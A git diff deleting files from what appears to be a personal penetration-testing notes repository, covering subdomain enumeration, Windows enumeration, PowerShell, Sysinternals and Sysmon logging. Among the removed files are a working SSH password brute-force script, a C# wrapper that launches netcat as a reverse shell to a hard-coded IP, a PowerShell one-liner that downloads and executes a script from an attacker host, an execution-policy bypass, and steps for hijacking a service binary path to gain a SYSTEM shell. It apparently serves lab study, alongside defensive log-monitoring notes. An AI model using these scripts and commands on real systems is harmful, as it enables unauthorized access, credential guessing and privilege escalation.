("/home/whackx/Downloads/wordlist2.txt", 'r') as _f: - subdomains = _f.read().splitlines() - -for sub in subdomains: - http_domain = f"http://{sub}.{sys.argv[1]}" - - try: - requests.get(http_domain) - - except requests.ConnectionError: - pass - - else: - print("Valid domain: ", http_domain) - diff --git a/enumeration/ssh_brute_force.py b/enumeration/ssh_brute_force.py deleted file mode 100755 index 7971fd3..0000000 --- a/enumeration/ssh_brute_force.py +++ /dev/null @@ -1,38 +0,0 @@ -#!/usr/bin/env python - -import paramiko -import sys -import os - -target = str(input("IP address: ")) -username = str(input("Username: ")) -password_file = str(input("Location of password file: ")) - -def ssh_connect(password, code=0): - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) - - try: - ssh.connect(target, port=22, username=username, password=password) - except paramiko.AuthenticationException: - code = 1 - ssh.close() - return code - -with open(password_file, 'rb') as _f: - for line in _f.readlines(): - password = line.strip() - print(password) - try: - response = ssh_connect(password) - - if response == 0 : - print("[+] Password Found: " + password.decode()) - exit(0) - if response == 1: - print("[-] Nothing Found") - except Exception as e: - print(e) - pass - - diff --git a/enumeration/windows/Windows-Exploit-Suggester b/enumeration/windows/Windows-Exploit-Suggester deleted file mode 160000 index 776bd91..0000000 --- a/enumeration/windows/Windows-Exploit-Suggester +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 776bd91259c081588f99b5b0b9aa54e8c5fdf5ad diff --git a/enumeration/windows/Windows-Exploit-Suggester-python3 b/enumeration/windows/Windows-Exploit-Suggester-python3 deleted file mode 160000 index 3670e5d..0000000 --- a/enumeration/windows/Windows-Exploit-Suggester-python3 +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 3670e5da50b6230166d023c85d9807f8fc1b8e3a diff --git a/enumeration/windows/Wrapper.cs b/enumeration/windows/Wrapper.cs deleted file mode 100644 index 72f78a3..0000000 --- a/enumeration/windows/Wrapper.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System; -using System.Diagnostics; - -namespace Wrapper { - class Program { - static void Main (){ - Process proc = new Process(); - ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-mukaa.exe", "10.50.184.49 4447 -e cmd.exe"); - proc.StartInfo = procInfo; - proc.Start(); - } - } -} diff --git a/enumeration/windows/bloodhound.md b/enumeration/windows/bloodhound.md deleted file mode 100644 index 3d92bb8..0000000 --- a/enumeration/windows/bloodhound.md +++ /dev/null @@ -1,3 +0,0 @@ -# Bloodhound - -* DNS diff --git a/enumeration/windows/event_log.md b/enumeration/windows/event_log.md deleted file mode 100644 index 8ce9bfa..0000000 --- a/enumeration/windows/event_log.md +++ /dev/null @@ -1,99 +0,0 @@ -# Logging - -* [Windows Logging CheatSheet](https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/580595db9f745688bc7477f6/1476761074992/Windows+Logging+Cheat+Sheet_ver_Oct_2016.pdf) -* [NSA -- Spotting Adversary with Windows Event Monitoring](https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm) -* [Events to Monitor](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor) -* [Windows 10 Monitoring Reference](https://www.microsoft.com/en-us/download/confirmation.aspx?id=52630) - -## Loglevel - -|ID|Event Type|Description| -|--|----------|-----------| -|0|Error|An event that indicates a significant problem.| -|1|Warning|An event that is not necessarily significant.| -|2|Information|An event describing the successful operation of an application.| -|3|Success Audit|An event that records an audited security access attempt that is successful.| -|4|Failure Audit|An event that records an audited security access attempt that is failure.| - -## Logrotation - -```sh -C:\Windows\System32\winevt\Logs -``` -* As an example, paths can be found under `Microsoft > Windows > PowerShell > Operational` and right click `Properties` in Event Viewer. Logs can be cleared as well in properties. - - -## Tools - -* Event Viewer (GUI-based application) -* Wevtutil.exe (command-line tool) -* Get-WinEvent (PowerShell cmdlet) - -### wevtutil.exe - -```sh -wevtutil.exe /? -``` -* Count logs -```sh -wevtutil.exe le | measure -``` -* Read three most recent Application logs -```sh -wevtutil qe Application /c:3 /rd:true /f:text -``` - -### Get-WinEvent - -* [Online help](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/Get-WinEvent?view=powershell-7.1) -* List all the logs -```sh -Get-WinEvent -ListLog * -``` -* Find string -```sh - Get-WinEvent -Path .\merged.evtx | Where-Object { $_.Message -like '*log clear*' } -``` -* Further filtering -```sh -Get-WinEvent -LogName Application | Where-Object { $_.ProviderName -Match 'WLMS' } -``` -```sh -Get-WinEvent -ListProvider *Policy* -``` -```sh -(Get-WinEvent -ListProvider Microsoft-Windows-GroupPolicy).Events | Format-Table Id, Description -``` -* Filter by hashtable values -```sh -Get-WinEvent -FilterHashtable @{ LogName='Application'; ProviderName='MsiInstaller' }; -``` -```sh -Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Select-Object -Property Message | Select-String -Pattern 'SecureString' -``` -* Including __XPATH__ -```sh -Get-WinEvent -LogName Application -FilterXPath '*/System/EventID=101 and */System/Provider[@Name="WLMS"]' -``` -```sh -Get-WinEvent -LogName Security -FilterXPath '*/EventData/Data[@Name="TargetUserName"]="System"' -``` -```sh - Get-WinEvent -LogName Application -FilterXPath '*/System/Provider[@Name="WLMS"] and */System/TimeCreated[@SystemTime="2020-12-15T01:09:08.940277500Z"]' -MaxEvents 1 -``` -* Find login by username -```sh -Get-WinEvent -LogName Security -FilterXPath '*/System/EventID=4720 and */EventData/Data[@Name="TargetUserName"]="sam"' -``` - -### Command Line Logging - -* Enable PS Logging -```sh -Local Computer Policy > Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell -``` -* CLI Process Auditing -- ID 4688 -``` -Local Computer Policy > Computer Configuration > Administrative Templates > System > Audit Process Creation -``` - diff --git a/enumeration/windows/manual_enum.md b/enumeration/windows/manual_enum.md deleted file mode 100644 index 2811ae0..0000000 --- a/enumeration/windows/manual_enum.md +++ /dev/null @@ -1,72 +0,0 @@ -# Manual Windows Enumeration - -## General Info - -```sh -systeminfo -``` - -* Check installed updates -```sh -wmic qfe get Caption,Description -``` - -## Users - -* `whoami /priv` -* `whoami /groups` -* `whoami /all` -* `net user` - -* `net group` -* `net localgroup ` -* `net accounts` -* `net accounts /domain` - -## Network Info - -```sh -ipconfig -ipconfig /all -``` - -```sh -netstat -noba -``` - -```sh -arp -a -``` - -* Show shares -```sh -net share -``` - -## Services - -```sh -net start -wmic service get name,version,vendor -``` - -### Non-Default Services - -* Looking for non-default services: -```sh -wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows" -``` - - * **Unquoted Service Path** Ideally there is a path without quotation - * Check which account the service the services run as - - ```sh - sc qc - ``` - -* Check if directory is writeable - -```sh -powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list" -``` - diff --git a/enumeration/windows/powershell.md b/enumeration/windows/powershell.md deleted file mode 100644 index ec4fea7..0000000 --- a/enumeration/windows/powershell.md +++ /dev/null @@ -1,303 +0,0 @@ -# Powershell Usage - -## Get-Help -``` -Get-Help Command-Name -``` -* Show examples -``` -Get-Help Command-Name -Examples -``` - -* Get-Command gets all the cmdlets installed on the current Computer. -``` -Get-Command -``` -``` -Get-Command Verb-* -Get-Command Invoke-* -Get-Command Get-* -``` - -## Passing Output via Pipe -* A pipe passes object including methods and attributes. - -``` -Verb-Noun | Get-Member -``` -``` -Get-Command | Get-Member -MemberType Method -``` - -## Creating Objects from Previous Cmdlets -``` -Get-ChildItem | Select-Object -Property Mode, Name -``` -* first - gets the first x object -* last - gets the last x object -* unique - shows the unique objects -* skip - skips x objects - -## Filtering Objects -``` -Verb-Noun | Where-Object -Property PropertyName -operator Value -Verb-Noun | Where-Object {$_.PropertyName -operator Value} -``` -The second version uses the $_ operator to iterate through every object passed to the Where-Object cmdlet. -* Where -operator is a list of the following operators: - -* -Contains: if any item in the property value is an exact match for the specified value -* -EQ: if the property value is the same as the specified value -* -GT: if the property value is greater than the specified value - -## Sort Object -``` -Verb-Noun | Sort-Object -``` -``` -Get-ChildItem | Sort-Object -``` - -## Finding a File -``` -Get-ChildItem -Path C:\ -Recurse -Include *.txt -ErrorAction SilentlyContinue | Where-Object {$_.Name -match 'interesting-file'} -``` -```sh -Get-HotFix | Format-list | findstr -``` -```sh -Get-ChildItem -Hidden -Recurse -ErrorAction SilentlyContinue -``` -* Find backup files -```sh -Get-ChildItem -Path C:\ -Recurse -Include *.bak* -ErroAction SilentlyContinue -``` -* Find file contents -```sh -Get-ChildItem -Path C:\* -Recurse | Select-String -pattern API_KEY -``` - -## Showing File Content -``` -Get-Content 'C:\Program Files\interesting-file.txt' -``` -* Indexing lines -```sh -(Get-Content -Path file.txt)[index] -``` -* Search -```sh -Select-String -Pattern -``` - -## Copy File Content -```sh -Copy-Item -``` - -## Count Lines of Output -As an example, count all cmdlets on the system -``` -Get-Command | Where-Object CommandType -eq CmdLet | Measure-Object -``` - -## Count Words -``` -Get-Command | Where-Object CommandType -eq CmdLet | Measure-Object -Word -``` - -## Checksum of File -``` -Get-FileHash -Algorithm MD5 'C:\Program Files\interesting-file.txt' -``` - -## Current Working Directory -``` -Get-Location -``` - -## File Metadata -```sh -ls | Format-List * -``` - -## Web Request -```sh -Invoke-Webrequest -Uri 'http:// -OutFile -``` -```sh -(New-Object System.Net.WebClient).DownloadFile("http://example.com/meterpreter.ps1", 'meterpreter.ps1') -``` - -* Webrequest and execute in one go -```sh -powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://%ATTACKER_IP%/PowerView.ps1'); Get-NetUser | select samaccountname, description" -``` - -## Base64 Decode File -``` -[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-Content .\Desktop\b64.txt))) -``` - -## **Circumvent Execution-Policy** -```sh -powershell -ExecutionPolicy Bypass -File .\ -``` -```sh -Set-ExecutionPolicy Bypass -Scope Process -``` - -## Enumeration - -### Users -``` -Get-LocalUser -``` - -* Password not required users -``` -Get-LocalUser | Where-Object -Property PasswordRequired -Match false -``` - -* SID of users -``` -Get-WmiObject win32_useraccount | Select name, sid -``` - -### Network intel -* Connections -```sh -netstat -ano -``` -* IP Address -``` -Get-NetIpAddress -``` - -* Listening TCP Ports -``` -Get-NetTCPConnection | Where-Object -Property State -Match Listen | measure -``` - -* TCP Port by number -``` -Get-NetTCPConnection | Where-Object -Property LocalPort -Match 443 -``` - -### Patch level and updates -``` -Get-Hotfix -``` -* Find patch by HotFixID -``` -Get-Hotfix | Where-Object -Property HotFixID -Match KB124284 -``` -```sh -wmic qfe get Caption,Description,HotFixID,InstalledOn -``` - -### Drivers -```sh -driverquery -``` - -### Processes -* Start processes -```sh -Start-Process -``` - -* Running processes -```sh -Get-Process -``` -### Scheduled tasks -```sh -schtasks /query /fo LIST /v -``` -```sh -Get-ScheduledTaskInfo -``` -* Scheduled Tasks, by TaskName -``` -Get-ScheduledTask | Where-Object -Property TaskName -Match taskname -``` -or -``` -Get-ScheduledTask -TaskName taskname -``` - -### Alternate Data Stream(ADS) -* Show ADS -```sh -Get-Item -Path file.exe -Stream * -``` -* Open ADS -```sh -wmic process call create $(Resolve-Path file.exe:streamname) -``` - -### Export Output -* Export as CSV -```sh -Get-Process | Export-Csv -``` - -### ACL -* Owner of files -``` -Get-ACL C:\ -``` - -### Port Scanner -``` -for($i=1; $i -le 65536; $i++) { Test-NetConnection localhost -Port $i} -``` - -### Ping Hosts -```sh -1..15 | %{echo "10.0.2.$_"; ping -n 1 10.0.2$_ | Select-String ttl} -``` - -### Antivirus -```sh -sc query windefend -``` -* Service name unknown -```sh -sc queryex type=service -``` - -### Using Powerview -```sh -Import-Module .\powerview.ps1 -Get-NetDomainController -(Get-NetUser).name -Get-NetUser -properties description -Get-NetUser | select -ExpandProperty lastlogon -Get-NetComputer -ping -Get-NetGroupMember "Domain Admins" -Find-DomainShare -CheckShareAccess -``` -* Enumerate Group Policy -```sh -Get-NetGPO -``` -* Trust relationship to other domains -```sh -Get-NetDomainTrust -``` -* User enumeration -```sh -Find-LocalAdminAccess -``` -```sh -whoami /priv -``` - -``` -Import-Module ActiveDirectory -Get-ADGroup -Get-ADGroupMember -Get-ADPrincipalGroupMembership -``` diff --git a/enumeration/windows/rpcclient.md b/enumeration/windows/rpcclient.md deleted file mode 100644 index 315e8a2..0000000 --- a/enumeration/windows/rpcclient.md +++ /dev/null @@ -1,10 +0,0 @@ -# RPCclient - -* Enumerate users and groups - -```sh -rpcclient -rpcclient $> enumdomusers -... -rpcclient $> enumdomgroups -``` diff --git a/enumeration/windows/sysinternals.md b/enumeration/windows/sysinternals.md deleted file mode 100644 index 1197848..0000000 --- a/enumeration/windows/sysinternals.md +++ /dev/null @@ -1,125 +0,0 @@ -# Sysinternals and CLI usage - -## Opening System Properties -``` -sysdm.cpl -``` - -## Installing webdav server, - -* Starting windows webclient service -``` -get-service webclient -start-service webclient -``` - -* Opening NetworkAndSharingCenter -``` -control.exe /name Microsoft.NetworkAndSharingCenter -``` -## Make sure Network Discovery is enabled, advanced settings! - -``` -Install-WindowsFeature WebDAV-Redirector –Restart -Get-WindowsFeature WebDAV-Redirector | Format-Table –Autosize -``` - -## Sigcheck -Sigcheck is a command-line utility that shows file version number, timestamp information, and digital signature details, including certificate chains. It also includes an option to check a file’s status on VirusTotal, a site that performs automated file scanning against over 40 antivirus engines, and an option to upload a file for scanning. - -* Check for unsigned files in `C:\Windows\system32` -``` -sigcheck -u -e C:\Windows\System32 -``` -* `-u` "If VirusTotal check is enabled, show files that are unknown by VirusTotal or have non-zero detection, otherwise show only unsigned files." -* `-e` "Scan executable images only (regardless of their extension)" - -## Alternate Data Stream (ADS) -By default, all data is stored in a file's main unnamed data stream, but by using the syntax 'file:stream', you are able to read and write to alternates. (official definition) -``` -streams file.txt - -notepad file.txt: -or -Get-Content -Path .\file.txt -stream ads.txt -``` - -## SDelete -SDelete is a command line utility that takes a number of options. In any given use, it allows you to delete one or more files and/or directories, or to cleanse the free space on a logical disk. - - -## TCPView -TCPView provides a more informative and conveniently presented subset of the Netstat program that ships with Windows. The TCPView download includes Tcpvcon, a command-line version with the same functionality. - -``` -tcpview -tcpvcon -``` - -## Autoruns -Autoruns reports Explorer shell extensions, toolbars, browser helper objects, Winlogon notifications, auto-start services, and much more. - -## Procdump -ProcDump is a command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike. - - -## Procdump -The Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you'll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you'll see the DLLs and memory-mapped files that the process has loaded. - -## Procmon -Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. - -## Psexec -PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems - - -## Winobj -WinObj is a 32-bit Windows NT program that uses the native Windows NT API (provided by NTDLL.DLL) to access and display information on the NT Object Manager's name space. - -## BGInfo -It automatically displays relevant information about a Windows computer on the desktop's background, such as the computer name, IP address, service pack version, and more - -## RegJump -This little command-line applet takes a registry path and makes Regedit open to that path. It accepts root keys in standard (e.g. HKEY_LOCAL_MACHINE) and abbreviated form (e.g. HKLM). - -``` -regjump HKLM -``` -* Similar to -``` -reg query HKLM -``` -``` -Get-Item -Get-ItemProperty -``` - -## Strings -Strings just scans the file you pass it for UNICODE (or ASCII) strings of a default length of 3 or more UNICODE (or ASCII) characters. - -## Create a system authority shell -1. Check permissons -```sh -accesschk.exe /accepteula -uwcqv user -``` -2. Query service -```sh -sq qc -``` -3. Set service config to the msfvenom reverse shell, uploaded previously. -``` -sc config daclsvc binpath= "\"C:\shell.exe"" -``` -4. Start service and gain high priv shell -```sh -net start daclsvc -``` - - -## Tips & Tricks - -* [Sysinternal tools can be used without installing](https://live.sysinternals.com/) -* Execute through explorer via -```sh -\\live.sysinternals.com\tools -``` diff --git a/enumeration/windows/sysmon.md b/enumeration/windows/sysmon.md deleted file mode 100644 index 6098e35..0000000 --- a/enumeration/windows/sysmon.md +++ /dev/null @@ -1,72 +0,0 @@ -# Sysmon - -Sysmon gathers detailed and high-quality logs as well as event tracing that assists in identifying anomalies in your environment. Sysmon is most commonly used in conjunction with security information and event management (SIEM) system or other log parsing solutions that aggregate, filter, and visualize events. - -## Paths - -* Logfiles -``` -Applications and Services Logs/Microsoft/Windows/Sysmon/Operational -``` - -## Configuration - -* [SwiftOnSecurity](https://github.com/SwiftOnSecurity/sysmon-config) -* [ION-Storm](https://github.com/ion-storm/sysmon-config/blob/develop/sysmonconfig-export.xml) - -## Installation - -```sh -Downloads-SysInternalsTools C:\Sysinternals -``` - -## Best Practices - -* Exclude, not include events -* CLI gives further control over filters -```sh -Get-WinEvent -``` -```sh -wevutil.exe -``` -* Know the env before implementation - -## Filtering Events - -* Actions -> Filter Current Log - -### Filtering Events with Powershell - -* Logged Events containing port 4444 -```sh -Get-WinEvent -Path -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name="DestinationPort"] and */EventData/Data=4444' -``` -* Logged Events containing lsass.exe -```sh -Get-WinEvent -Path -FilterXPath '*/System/EventID=10 and */EventData/Data[@Name="TargetImage"] and */EventData/Data="C:\Windows\system32\lsass.exe"' -``` -* Rats and C2 -```sh -Get-WinEvent -Path -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name="DestinationPort"] and */EventData/Data=' -``` - -## Evasion Techniques - -* Alternate Data Streams -* Injections -* Masquerading -* Packing/Compression -* Recompiling -* Obfuscation -* Anti-Reversing Techniques -* Remote Thread (OpenThread, ResumeThread) - -### Detecting Evasion Techniques with Powershell - -```sh -Get-WinEvent -Path -FilterXPath '*/System/EventID=15' -Get-WinEvent -Path -FilterXPath '*/System/EventID=8' -``` - - diff --git a/enumeration/windows/vss.md b/enumeration/windows/vss.md deleted file mode 100644 index 80b78d7..0000000 --- a/enumeration/windows/vss.md +++ /dev/null @@ -1,9 +0,0 @@ -# Volume Shadow Copy Service - -## Usage -```sh -vssadmin list volumes -``` -```sh -vssadmin list shadows -```